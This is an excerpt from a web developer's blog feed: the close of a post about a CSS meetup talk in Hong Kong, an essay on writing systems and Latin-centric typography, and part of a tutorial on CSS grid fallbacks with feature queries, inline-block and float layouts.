&lt;p&gt;If the Mozilla Developer Asia Roadshow was a concert tour, then the Harbour Front meetup was an unplugged session. No video crew, no fanfare, just you, me and some CSS. I re-did the talk I gave at Form Function Class, but added a bit about &lt;a href=&quot;https://www.w3.org/TR/css3-values/#viewport-relative-lengths&quot;&gt;Viewport-percentage lengths&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It wasn&apos;t the rehearsed, down to the minute, polished version of the talk. I just riffed off whatever came up on the slides and talked about CSS and web layouts like I would in a casual conversation. The vibe was more relaxed and it was nice to have that after the intensity of the roadshow.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Regardless of setting, the hands gotta flail&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/harbourfront.jpg&quot;
    srcset=&quot;/images/posts/talking-css/harbourfront@2x.jpg 2x&quot;
    alt=&quot;Unplugged about web layouts&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;The venue was at &lt;a href=&quot;http://thehive.com.hk/&quot;&gt;the Hive&lt;/a&gt; in Wan Chai, and it wasn&apos;t a very big space, which made the whole feel more intimate. Using someone else&apos;s laptop to present was also fun, because there were several instances of browser inconsistency bugs in my slides &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Also had some nice conversations with a few designers and developers, and managed to help out someone who was trying to build a music app that displayed chords above song lyrics. Turns out the &lt;a href=&quot;https://www.w3.org/wiki/HTML/Elements/ruby&quot;&gt;HTML ruby element&lt;/a&gt; could be a potential solution for his use case.&lt;/p&gt;
&lt;p&gt;Anyway, it was my last night in Hong Kong, as well as the last night of this whirlwind of a tour. No better way to end the trip than at the tallest sky bar in the world (at least for now), with a great view and even better company &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face blowing a kiss&quot;&gt;😘&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Quite a view from 490m up&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/ozone-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/ozone-480.jpg 480w, /images/posts/talking-css/ozone-640.jpg 640w, /images/posts/talking-css/ozone-960.jpg 960w, /images/posts/talking-css/ozone-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Drinks at Ozone&quot;
  /&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;So that&apos;s it. 15 exciting days that literally just flew by. It was a super rewarding experience and will definitely be one of the highlights of my 2017. I&apos;m a little bit talked-out for now, but no worries, after a brief hibernation period, I&apos;ll be back at it again with added gusto (because Jeremy thinks I “&lt;a href=&quot;https://adactio.com/journal/12894&quot;&gt;presented with gusto&lt;/a&gt;”) &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue &amp; closed eyes&quot;&gt;😆&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Thoughts on the world and our writing systems</title><link>https://chenhuijing.com/blog/thoughts-on-the-world-and-our-writing-systems/</link><guid isPermaLink="true">https://chenhuijing.com/blog/thoughts-on-the-world-and-our-writing-systems/</guid><description>There was a discussion recently among the Bettes about the phrase ‘Latin-type‘ when Sahar Afshar asked the question of what would be a good alternative to the…</description><pubDate>Tue, 12 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There was a discussion recently among the Bettes about the phrase ‘Latin-type‘ when &lt;a href=&quot;https://twitter.com/sahafshar&quot;&gt;Sahar Afshar&lt;/a&gt; asked the question of what would be a good alternative to the phrase ‘non-Latin type‘. It got me thinking, because I realised I did not have a good alternative to that phrase at all.&lt;/p&gt;
&lt;p&gt;We had several suggestions, like ‘global scripts’, ‘world scripts’, even ‘across scripts’ (to include fictional unworldly scripts), but the key point here was that Latin scripts are generally viewed as the default. Most of the literature and discourse on typography we have today is Latin-centric to begin with. To ask the question of why this is so, inevitably will bring us to the topic of power and influence on a global scale.&lt;/p&gt;
&lt;p&gt;My thoughts on this issue are based on my experiences as someone who was born and bred in South-east Asia, a region that was heavily colonised by Europe from around the 16th century up until the 20th century. I once came across an epic publication known as &lt;a href=&quot;https://www.davidrumsey.com/luna/servlet/detail/RUMSEY~8~1~200375~3001080:The-Histomap-&quot;&gt;The Histomap&lt;/a&gt;, which attempted to condense four thousand years of world history, in terms of relative power among contemporary states, nations and empires, onto a single, albeit very long, poster.&lt;/p&gt;
&lt;p&gt;A key takeaway I got from this visualisation is that power has always waxed and waned across civilisations. It just so happens that in this day and age, a majority of this relative power currently lies with Europe and North America, AKA ‘The West’. Humanity itself is a very complex topic that some people spend their lifetimes researching. There are countless theories on society and culture, and almost all of them have their own salient points.&lt;/p&gt;
&lt;p&gt;The basis of every theory and argument stems from an author&apos;s mind, and their mind is able to formulate ideas and thoughts based on their life experiences. The books and papers they have read, the people they have interacted with, the environments in which they have lived. True objectivity is a myth, simply because no human being can possibly experience the world from every view point. With that being said, let me share some of my thoughts.&lt;/p&gt;
&lt;p&gt;Although we can and do communicate in a myriad of ways, writing is the dominant method of human communication, and was essentially what advanced human civilisation from prehistoric times. The term ‘prehistoric‘ itself implies that history only began when human beings could record it.&lt;/p&gt;
&lt;p&gt;There cannot be writing without language. And although there are cultures in the world that do not have a written language, but they are now few and far between. Writing is essentially the solidification of an idea, giving it some permanence as a record, as opposed to the spoken word, which relies on human memory. Given that culture is defined as &lt;em&gt;&lt;a href=&quot;https://en.oxforddictionaries.com/definition/culture&quot;&gt;the ideas, customs, and social behaviour of a particular people or society&lt;/a&gt;&lt;/em&gt;, language and culture are very closely intertwined.&lt;/p&gt;
&lt;p&gt;When I think about language I always wonder how much of an impact does the language itself affect our thinking and the way we see the world around us. I remember coming across a few articles that went along the lines of ‘Awesome German words that English needs‘ or something like that. There are many Japanese and Chinese phrases that simply cannot be translated into English because they convey a concept that no English words can map to.&lt;/p&gt;
&lt;p&gt;I grew up speaking both Chinese and English and I did not realise that I thought in two different languages at the same time, as there are certain concepts that are culturally Chinese which can&apos;t really be expressed accurately in English.&lt;/p&gt;
&lt;p&gt;For example, the phrase 孝顺 (xiàoshùn) is translated filial piety. The &lt;a href=&quot;https://en.oxforddictionaries.com/definition/filial&quot;&gt;dictionary explanation of filial&lt;/a&gt; is &lt;em&gt;relating to or due from a son or daughter&lt;/em&gt; or &lt;em&gt;denoting the offspring of a cross&lt;/em&gt;, which isn&apos;t what 孝顺 really means in Chinese. And I still am unable to explain the phrase 默契 (mòqì).&lt;/p&gt;
&lt;p&gt;The reason I brought this up was to highlight the cultural differences between societies that speak different languages. Bringing it back to the topic of power and global influence, geography and the environment in which these cultures developed seemed to play a significant factor in determining their behaviour and beliefs.&lt;/p&gt;
&lt;p&gt;If we attempt to trace the history of the myriad of writing systems still in use today, it seems that there were three points of origin, Mesoamerica, Mesopotamia and China. The scripts over most of the Eurasian and African land mass, with the exception of Han scripts, have their roots in systems
Egyptian hieroglyphs and consequently, the Proto-Sinaitic script.&lt;/p&gt;
&lt;p&gt;In spite sharing the same land mass, Han characters were developed independently in China, potentially dating back to the Neolithic period. A key milestone in the development of the Chinese language was the standardisation of Chinese characters by the First Emperor, Qin Shihuang.&lt;/p&gt;
&lt;p&gt;The Americas developed their own scripts and writing systems as well, which were a combination of logographic and syllabic writing. Unfortunately, much of their literature has been lost due to European conquest and proselytizing by religious missionaries.&lt;/p&gt;
&lt;p&gt;Which brings me to my next point of the role of religion in the spread of languages. An idea put forth by Marisa Powell in her article entitled &lt;a href=&quot;http://speculative.sunygeneseoenglish.org/2015/05/01/spread-of-language-spread-of-religion/&quot;&gt;Spread of Language, Spread of Religion&lt;/a&gt; is that a power base is necessary for the spread of a language. And if we think about it, there simply is no greater force that can shape humanity than religion.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/gurnekbains1&quot;&gt;Gurnek Bains&lt;/a&gt;, author of &lt;a href=&quot;https://www.amazon.com/Cultural-DNA-The-Psychology-Globalization/dp/1118928911&quot;&gt;Cultural DNA: The Psychology of Globalization&lt;/a&gt;, makes a suggestion that societies which exist in environments where resources like food and water are plentiful versus those that survive under harsh, dry conditions where resources are scarce, ended up with different cultural norms. He observed the pattern that societies of plenty tend to be more tolerant than those of scarcity.&lt;/p&gt;
&lt;p&gt;The monotheistic religions that dominate the world today originated from desert environments. Such harsh conditions promote binary thinking in terms of definitive cause and effect, for example, if you do not find water, you will die. In essence, viewing survival as a zero-sum game. It could be such an environment that encouraged these religions to actively proselytise and even wage wars in the name of their beliefs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hester, I&apos;ve seen people try to divide the world. Simplify it. Create clear rules. I understand why you want to. But it leads to nothing good.&lt;br&gt;
&lt;small&gt;— Max, &lt;a href=&quot;http://www.channel4.com/programmes/humans&quot;&gt;Channel 4&apos;s Humans&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dutch also suggests that the ”hard-headed dualism born of the desert, moderated somewhat so that the obsession with patriarchy and status is somewhat diluted, might be just what would be needed to permit the emergence of science.“ Just one of many theories to why the Scientific Revolution occurred in Europe, but it does seem reasonably plausible.&lt;/p&gt;
&lt;p&gt;There was also the issue of timing. The Chinese were relatively open and receptive to the outside world during the Yuan dynasty, and by the Ming dynasty during the early 15th century, Zheng He commanded one of the grandest naval fleets around the world, establishing China&apos;s global reputation through diplomacy as much as possible, though never shunning from using military might when diplomacy failed.&lt;/p&gt;
&lt;p&gt;The Ottoman empire was also rose and thrived from the 11th century through to the 16th century, which at it&apos;s peak covered territories across areas of Turkey, Egypt, Greece, Bulgaria, Romania, Macedonia, Hungary, Israel, Jordan, Lebanon, Syria, and parts of the Arabian Peninsula and North Africa. Both these powers were on the decline when Europe started its own age of expansion and discovery from the end of the 15th century to the 18th century.&lt;/p&gt;
&lt;p&gt;Greatly aided by the development of new technologies during the Industrial Revolution, Europe soon became the prevailing world power through their rapid colonisation of territories, extracting valuable resources and labour, in addition to developing trade routes, to increase their wealth and geopolitical power. And the recency of that legacy is what colours the world we live in today.&lt;/p&gt;
&lt;p&gt;The colonial powers of Spain, Portugal, England, France and the Netherlands all used Latin scripts for their writing systems. As such, it is no surprise that Latin alphabets replaced the earlier Arabic and indigenous Brahmic scripts that were used for various Austronesian languages in former European colonies, like Malaysia, Indonesia and the Philippines.&lt;/p&gt;
&lt;p&gt;And so here we are, in the 21st century, where the world seems to be as messy and chaotic as it always has been throughout the course of human history. We just have a different set of problems from generations past. It is doubtful that we will ever escape the human condition, but it will be interesting to think about how the world might be in another century or two, even if we will no longer be here to witness it.&lt;/p&gt;
</content:encoded></item><item><title>Basic grid layout with fallbacks using feature queries</title><link>https://chenhuijing.com/blog/basic-grid-with-fallbacks/</link><guid isPermaLink="true">https://chenhuijing.com/blog/basic-grid-with-fallbacks/</guid><description>This article has been translated to Japanese on SeleQt. I&apos;ve been using CSS grid (which henceforth will be referred to as Grid) for quite a bit now, and…</description><pubDate>Sat, 09 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This article has been translated to Japanese on &lt;a href=&quot;https://www.seleqt.net/programming/basic-grid-layout-with-fallbacks-using-feature-queries/&quot;&gt;SeleQt&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ve been using CSS grid (which henceforth will be referred to as Grid) for quite a bit now, and although I often talk about how we can use grid to make all kinds of creative layouts, I&apos;m fully aware that a basic grid is still a design pattern that is very much in demand on the web.&lt;/p&gt;
&lt;p&gt;Many conversations with fellow developers about using Grid involve the dreaded “but” statement, i.e. “but what about older browsers? I have to support *&lt;em&gt;INSERT_RANDOM_OLD_BROWSER_HERE&lt;/em&gt;*”. And it&apos;s totally understandable, because I also realised that not enough people know about the magic that is &lt;a href=&quot;https://drafts.csswg.org/css-conditional-3/#at-supports&quot;&gt;Feature Queries&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This post got too long again &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;, so here&apos;s a table of contents, if there&apos;s a particular section you&apos;re interested in. And &lt;a href=&quot;https://github.com/huijing/demos/tree/master/grids-basic&quot;&gt;source code&lt;/a&gt; for the &lt;a href=&quot;https://huijing.github.io/demos/grids-basic/&quot;&gt;demo&lt;/a&gt; is available on GitHub.&lt;/p&gt;
&lt;h3 class=&quot;no-margin&quot;&gt;TL:DR (skip those which bore you)&lt;/h3&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#falling-back-with-grace&quot;&gt;Falling back with grace&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#first-principles-of-css-specifications&quot;&gt;First principles of CSS: specifications&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#what-is-this-display-you-speak-of&quot;&gt;What is this display you speak of?&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#basic-like-really-basic&quot;&gt;Basic, like really basic&lt;/a&gt;&lt;/li&gt;
    &lt;ul&gt;
        &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#the-inline-block-layout&quot;&gt;The inline-block layout&lt;/a&gt;&lt;/li&gt;
        &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#the-float-layout&quot;&gt;The float layout&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#bedgy-thats-like-basic-and-edgy&quot;&gt;Bedgy, that’s like, basic and edgy&lt;/a&gt;&lt;/li&gt;
    &lt;ul&gt;
        &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#a-little-bit-about-box-alignment&quot;&gt;A little bit about box alignment&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#why-hello-grid-you-revolutionary-you&quot;&gt;Why hello, Grid, you revolutionary, you…&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#altogether-now&quot;&gt;Altogether now&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#useful-resources&quot;&gt;Useful resources&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Falling back with grace&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;@supports&lt;/strong&gt; rule, AKA feature queries, is a conditional group rule whose condition tests whether the user agent supports CSS property:value pairs. In plain English, it&apos;s an if statement to check if the browser supports a particular CSS property.&lt;/p&gt;
&lt;p&gt;Here&apos;s how support for it looks like right now:&lt;/p&gt;
&lt;p
  class=&quot;ciu_embed no-margin&quot;
  data-feature=&quot;css-featurequeries&quot;
  data-periods=&quot;future_1,current,past_1,past_2&quot;
&gt;
  &lt;a href=&quot;http://caniuse.com/#feat=css-featurequeries&quot;&gt;Can I Use css-featurequeries?&lt;/a&gt; Data on
  support for the css-featurequeries feature across the major browsers from caniuse.com.
&lt;/p&gt;
&lt;p&gt;I can already sense your eyes fixated on the column of red that is Internet Explorer, but stay with me and don&apos;t throw in the towel on feature queries yet. How feature queries work is that, for browsers that don&apos;t support it, all the styles within the @supports block is totally ignored.&lt;/p&gt;
&lt;p&gt;Let&apos;s examine this basic example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;main {
  background-color: red;
}

@supports (display: grid) {
  main {
    background-color: green;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For browsers that support grid, the background colour of the &lt;code&gt;main&lt;/code&gt; element will be green (because the conditional resolves to true), while for browsers that do not support grid, &lt;code&gt;main&lt;/code&gt; will have a background colour of red.&lt;/p&gt;
&lt;p&gt;The implication of this behaviour means that we can layer on enhanced styles based on the features we want to use and these styles will show up in browsers that support them. But for those that do not, they will get a more basic look that still works anyway. And that will be our approach moving forward.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Websites do NOT need to look the same on every browser.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;First principles of CSS: specifications&lt;/h2&gt;
&lt;p&gt;Before we go into this, I want to emphasise that &lt;em&gt;implementing&lt;/em&gt; layout on the web is significantly different than that on any other media. Why? Because our canvas is the browser and the only way to manipulate the layout is through code.&lt;/p&gt;
&lt;p&gt;This degree of separation between the canvas and our input means that we must have knowledge of the workings of the browser that will render our code on the screen, a clear understanding of how the code we write will be interpreted.&lt;/p&gt;
&lt;p&gt;A little more than a year ago, I asked the question, &lt;a href=&quot;/blog/how-well-do-you-know-display/&quot;&gt;How well do you know CSS display?&lt;/a&gt; That was the first time I sat down and really read the &lt;a href=&quot;https://www.w3.org/TR/css-display-3/&quot;&gt;CSS Display Module Level 3&lt;/a&gt; specification. Layout is quite a large topic and crosses multiple specifications, including the &lt;a href=&quot;https://www.w3.org/TR/css-position-3/&quot;&gt;CSS Positioned Layout Module Level 3&lt;/a&gt;, &lt;a href=&quot;https://www.w3.org/TR/css-align-3/&quot;&gt;CSS Box Alignment Module Level 3&lt;/a&gt;, &lt;a href=&quot;https://www.w3.org/TR/css-sizing-3/&quot;&gt;CSS Intrinsic &amp;amp; Extrinsic Sizing Module Level 3&lt;/a&gt; and so on. You get the picture.&lt;/p&gt;
&lt;p&gt;The specifications themselves refer to each other liberally, and thus reading one of them can result in your browser tab collection growing exponentially as you get linked to more and more related specifications (or maybe it&apos;s just me) &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;What is this display you speak of?&lt;/h2&gt;
&lt;p&gt;In case you don&apos;t share my interest in reading specifications, let&apos;s briefly go through some of the more salient points of the CSS Display specification.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Browsers draw boxes&lt;/li&gt;
&lt;li&gt;CSS generates a box tree&lt;/li&gt;
&lt;li&gt;Each box represents its corresponding element on the canvas&lt;/li&gt;
&lt;li&gt;For each element, CSS generates zero or more boxes based on the element&apos;s &lt;code&gt;display&lt;/code&gt; property&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you&apos;ve never read the specification before, I suspect you wouldn&apos;t know that the &lt;code&gt;display&lt;/code&gt; property defines an element&apos;s &lt;strong&gt;display type&lt;/strong&gt;, which is how an element generates boxes. There are 2 basic display types, inner and outer.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;inner display type&lt;/strong&gt; dictates how child boxes are laid out.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;outer display type&lt;/strong&gt; dictates how the box itself participates in the layout.&lt;/p&gt;
&lt;p&gt;There are additional display values like &lt;strong&gt;&amp;lt;display-listitem&amp;gt;&lt;/strong&gt;, &lt;strong&gt;&amp;lt;display-internal&amp;gt;&lt;/strong&gt;, &lt;strong&gt;&amp;lt;display-box&amp;gt;&lt;/strong&gt; and &lt;strong&gt;&amp;lt;display-legacy&amp;gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;formatting context&lt;/strong&gt; is the environment in which a set of related boxes are laid out, and different formatting contexts will lay out their boxes according to different sets of rules.&lt;/p&gt;
&lt;p&gt;We started out with the &lt;a href=&quot;https://www.w3.org/TR/CSS2/visuren.html#block-formatting&quot;&gt;block formatting context&lt;/a&gt; and &lt;a href=&quot;https://www.w3.org/TR/CSS2/visuren.html#inline-formatting&quot;&gt;inline formatting context&lt;/a&gt; back in the 1998 CSS2 working draft, but with the addition of more layout options since then, we now also have the &lt;a href=&quot;https://www.w3.org/TR/CSS2/tables.html#table-display&quot;&gt;table formatting context&lt;/a&gt;, &lt;a href=&quot;https://www.w3.org/TR/css-flexbox-1/#flex-formatting-context&quot;&gt;flex formatting context&lt;/a&gt;, &lt;a href=&quot;https://www.w3.org/TR/css-grid-1/#grid-formatting-context&quot;&gt;grid formatting context&lt;/a&gt; and &lt;a href=&quot;https://drafts.csswg.org/css-ruby-1/#ruby-formatting-context&quot;&gt;ruby formatting context&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Block-level elements&lt;/strong&gt; are elements that generate a block-level principle box, which participate in the block formatting context. &lt;strong&gt;Inline-level elements&lt;/strong&gt; are elements that do not form new blocks of content, and their content is distributed in lines. They generate inline-level boxes, which participate in the inline formatting context.&lt;/p&gt;
&lt;p&gt;An inline-block element, however, is &lt;em&gt;not&lt;/em&gt; an inline box. It exists in that in-between state because it participates in the inline formatting context as a single opaque box.&lt;/p&gt;
&lt;p&gt;Okay, I think that&apos;s enough specification talk for now. There&apos;s so much more to cover, so I&apos;ll probably do this in bits and pieces, for easier digestibility &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Basic, like really basic&lt;/h2&gt;
&lt;p&gt;I just watched &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;&apos;s talk at &lt;a href=&quot;http://nordicjs.com/&quot;&gt;NordicJS&lt;/a&gt; the other night and one of the things she covered (and I live-tweeted) was how to fallback gracefully by understanding how the browser handles overridden CSS properties.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;
  &lt;p&gt;
    do you know what happens when your layout-related css properties override earlier ones?
    &lt;a href=&quot;https://twitter.com/hashtag/nordicjs?src=hash&quot;&gt;#nordicjs&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/css?src=hash&quot;&gt;
      #css
    &lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/grid?src=hash&quot;&gt;#grid&lt;/a&gt; &lt;a href=&quot;https://t.co/g6kOxiSeZO&quot;&gt;pic.twitter.com/g6kOxiSeZO&lt;/a&gt;
  &lt;/p&gt;
  &amp;mdash; HJ Chen (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/905810316096815108&quot;&gt;7 September 2017&lt;/a&gt;
&lt;/blockquote&gt;
&lt;p&gt;I&apos;m going to be using 25 card-style items for the layout demo. Each card will have an image, a title and a subtitle. The title and subtitle text have variations on their lengths, because that&apos;s just how real life works. The markup, which will be used for all the layouts demonstrated in this post, looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;main class=&amp;quot;grid&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item&amp;quot;&amp;gt;
    &amp;lt;img class=&amp;quot;card__img&amp;quot; src=&amp;quot;images/image1.jpg&amp;quot; /&amp;gt;
    &amp;lt;h2&amp;gt;Card title&amp;lt;/h2&amp;gt;
    &amp;lt;p&amp;gt;Because the card pattern is soooo popular right now...&amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid__item&amp;quot;&amp;gt;
    &amp;lt;img class=&amp;quot;card__img&amp;quot; src=&amp;quot;images/image2.jpg&amp;quot; /&amp;gt;
    &amp;lt;h2&amp;gt;Card title&amp;lt;/h2&amp;gt;
    &amp;lt;p&amp;gt;Because the card pattern is soooo popular right now, but not all text are made the same&amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;!-- And repeat the .grid__item another 23 times --&amp;gt;
&amp;lt;/main&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So in that vein, let&apos;s start off with the most basic of layouts using &lt;code&gt;inline-block&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;The &lt;code&gt;inline-block&lt;/code&gt; layout&lt;/h3&gt;
&lt;p&gt;Because I&apos;m a stickler for punishment, this basic layout was tested to be working on IE8 (not further back, as I&apos;m not a masochist). This option assumes that each card is a fixed size (e.g. 20em), and the entire layout will be centred on the viewport.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;This is actually kinda responsive (on IE8 no less)&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/gb-inlineblock.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/gb-inlineblock.mp4&quot;&gt;download it&lt;/a&gt;and watch it
    with your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;The code for this isn&apos;t very complicated, as the layout container is set to &lt;code&gt;display: inline-block&lt;/code&gt;, centring involves using &lt;code&gt;text-align: center&lt;/code&gt; on its parent, in this case, the &lt;code&gt;body&lt;/code&gt; element.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;body {
  text-align: center;
}

.grid {
  display: inline-block;
}

.grid__item {
  width: 20em;
  display: inline-block;
  vertical-align: top;
  margin: 1em 0.5em;
  text-align: left;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This method works reasonably well if you want all the items in your grid to be the same fixed width, and doesn&apos;t take much code to do it. You may run into issues if your images are not all the same height though.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Well, some people might not like this&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/gb-inlineblock2.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/gb-inlineblock2.mp4&quot;&gt;download it&lt;/a&gt;and watch it
    with your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;I&apos;ll cover the image handling issue in a different post, but for support that goes back to IE8, we can&apos;t use the current markup. Also, if the last row has less items that the total number of columns, they will end up centre-aligned regardless, and maybe you don&apos;t want that either.&lt;/p&gt;
&lt;p&gt;Okay, let&apos;s look at another method that falls under the basic category.&lt;/p&gt;
&lt;h3&gt;The &lt;code&gt;float&lt;/code&gt; layout&lt;/h3&gt;
&lt;p&gt;Ah, the trusty float. This was the prevailing method for a pretty long time, and I&apos;m sure there are many sites that are still using this technique. Responsive float-based layouts are, for the most part, not simple affairs.&lt;/p&gt;
&lt;p&gt;Floats weren&apos;t meant for doing page layout to begin with, hence all the trouble with clearing floats, especially when dealing with irregularly sized items within the layout.&lt;/p&gt;
&lt;p&gt;And because of the heavy reliance on media queries, a lot of designers just chose to cap the maximum width of the grid, so you didn&apos;t have to write a slew of media queries to support larger and larger viewports. I&apos;m just going to forget that, and max out my layout&apos;s column count at 5 &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Flexi-floaty layout of cards&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/gb-float.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/gb-float.mp4&quot;&gt;download it&lt;/a&gt;and watch it with
    your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Just wanted to add that, if we wanted to make the &lt;code&gt;inline-block&lt;/code&gt; layout items take up the width of the viewport, we too can chuck in the same slew of media queries instead of using a fixed width.&lt;/p&gt;
&lt;p&gt;Okay, the following code is going to be loooooong...&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.clearfix::after {
  content: &amp;quot;&amp;quot;;
  display: table;
  clear: both;
}

.grid__item {
  float: left;
  padding: 0.5em;
  width: 100%;
}

@media screen and (min-width: 480px) {
  .grid__item {
    width: 50%;
  }

  .grid__item:nth-child(2n + 1) {
    clear: left;
  }
}

@media screen and (min-width: 768px) {
  .grid__item {
    width: 33.333%;
  }

  .grid__item:nth-child(2n + 1) {
    clear: none;
  }

  .grid__item:nth-child(3n + 1) {
    clear: left;
  }
}

@media screen and (min-width: 1024px) {
  .grid__item {
    width: 25%;
  }

  .grid__item:nth-child(3n + 1) {
    clear: none;
  }

  .grid__item:nth-child(4n + 1) {
    clear: left;
  }
}

@media screen and (min-width: 1280px) {
  .grid__item {
    width: 20%;
  }

  .grid__item:nth-child(4n + 1) {
    clear: none;
  }

  .grid__item:nth-child(5n + 1) {
    clear: left;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also cheated and added a &lt;code&gt;.clearfix&lt;/code&gt; class to the layout container, because you can&apos;t have a float-based layout without clearing it. You just can&apos;t. Sorry. But regardless of whether the width of the layout item is fixed or flexible, the &lt;code&gt;nth-child&lt;/code&gt; selectors for activating and removing clears are still required.&lt;/p&gt;
&lt;p&gt;Because of that, this particular style of writing floats doesn&apos;t work on IE8. Only IE9 and above. To negate the &lt;code&gt;nth-child&lt;/code&gt; support issue, we would need additional wrappers around the number of items per viewport. As such, I will admit to rejecting multiple proposals by my designers of “4-3-2-1” responsive columns in the past.&lt;/p&gt;
